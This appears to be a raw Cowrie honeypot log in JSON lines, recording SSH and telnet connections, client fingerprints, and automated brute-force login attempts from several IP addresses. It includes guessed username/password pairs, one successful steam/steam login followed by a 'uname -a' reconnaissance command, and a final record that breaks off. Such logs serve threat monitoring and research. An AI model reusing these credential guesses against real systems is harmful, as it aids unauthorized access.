{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:32.132186Z","src_ip":"91.92.42.227","session":"772cf41987e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":39010,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4c5bb4cd179","protocol":"ssh","message":"New connection: 8.219.200.1:39010 (10.17.0.5:22) [session: b4c5bb4cd179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:32.204099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:32.208075Z","src_ip":"8.219.200.1","session":"b4c5bb4cd179","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:32.380876Z","src_ip":"202.152.204.159","session":"e1afa5dab664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:32.447276Z","src_ip":"8.219.200.1","session":"b4c5bb4cd179","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:32.453697Z","src_ip":"8.219.200.1","session":"fd35ca8f5d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:33.455050Z","src_ip":"8.219.200.1","session":"b4c5bb4cd179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:33.668838Z","src_ip":"202.152.204.159","session":"e1afa5dab664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:33.695306Z","src_ip":"8.219.200.1","session":"fd35ca8f5d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.152.204.159","src_port":35450,"dst_ip":"159.203.135.109","dst_port":22,"session":"14511635d8a4","protocol":"ssh","message":"New connection: 202.152.204.159:35450 (159.203.135.109:22) [session: 14511635d8a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:33.993597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:33.997792Z","src_ip":"202.152.204.159","session":"14511635d8a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:34.301222Z","src_ip":"202.152.204.159","session":"14511635d8a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47934,"dst_ip":"10.17.0.5","dst_port":22,"session":"bca04b3170b4","protocol":"ssh","message":"New connection: 45.156.87.147:47934 (10.17.0.5:22) [session: bca04b3170b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:34.668700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:34.672535Z","src_ip":"45.156.87.147","session":"bca04b3170b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:34.695300Z","src_ip":"8.219.200.1","session":"b4c5bb4cd179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:34.755425Z","src_ip":"45.156.87.147","session":"bca04b3170b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51874,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c43783d3469","protocol":"ssh","message":"New connection: 91.92.42.227:51874 (10.17.0.5:22) [session: 0c43783d3469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:34.878062Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:35.126023Z","src_ip":"45.156.87.147","session":"bca04b3170b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:35.214016Z","src_ip":"202.152.204.159","session":"14511635d8a4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:35.348522Z","src_ip":"91.92.42.227","session":"0c43783d3469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:35.351846Z","src_ip":"91.92.42.227","session":"0c43783d3469","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:36.211787Z","src_ip":"45.156.87.147","session":"bca04b3170b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:36.588379Z","src_ip":"202.152.204.159","session":"14511635d8a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.152.204.159","src_port":35466,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a4b0a37cc16","protocol":"ssh","message":"New connection: 202.152.204.159:35466 (159.203.135.109:22) [session: 0a4b0a37cc16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:36.848759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:36.910871Z","src_ip":"202.152.204.159","session":"0a4b0a37cc16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:37.339207Z","src_ip":"202.152.204.159","session":"0a4b0a37cc16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"chris","message":"login attempt [aaa/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:37.689292Z","src_ip":"91.92.42.227","session":"0c43783d3469","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:38.804417Z","src_ip":"202.152.204.159","session":"0a4b0a37cc16","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:39.591280Z","src_ip":"202.152.204.159","session":"0a4b0a37cc16","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:39.594549Z","src_ip":"202.152.204.159","session":"0a4b0a37cc16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:39.772801Z","src_ip":"91.92.42.227","session":"0c43783d3469","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:39.871130Z","src_ip":"202.152.204.159","session":"0a4b0a37cc16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:39.876911Z","src_ip":"202.152.204.159","session":"0a4b0a37cc16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":35326,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4ea36137c06","protocol":"ssh","message":"New connection: 45.156.87.147:35326 (10.17.0.5:22) [session: f4ea36137c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:40.768815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:40.773146Z","src_ip":"45.156.87.147","session":"f4ea36137c06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:40.853845Z","src_ip":"45.156.87.147","session":"f4ea36137c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123123","message":"login attempt [minecraft/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:41.101629Z","src_ip":"45.156.87.147","session":"f4ea36137c06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51920,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eda8aafaab8","protocol":"ssh","message":"New connection: 91.92.42.227:51920 (10.17.0.5:22) [session: 2eda8aafaab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:42.012310Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:42.185136Z","src_ip":"45.156.87.147","session":"f4ea36137c06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57482,"dst_ip":"159.203.135.109","dst_port":23,"session":"e310d4a5d4ec","protocol":"telnet","message":"New connection: 128.199.8.54:57482 (159.203.135.109:23) [session: e310d4a5d4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:42.412923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:42.536451Z","src_ip":"91.92.42.227","session":"2eda8aafaab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:42.539760Z","src_ip":"91.92.42.227","session":"2eda8aafaab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":39140,"dst_ip":"159.203.135.109","dst_port":22,"session":"54f3463ff3a6","protocol":"ssh","message":"New connection: 103.252.123.105:39140 (159.203.135.109:22) [session: 54f3463ff3a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:42.675754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:42.679935Z","src_ip":"103.252.123.105","session":"54f3463ff3a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 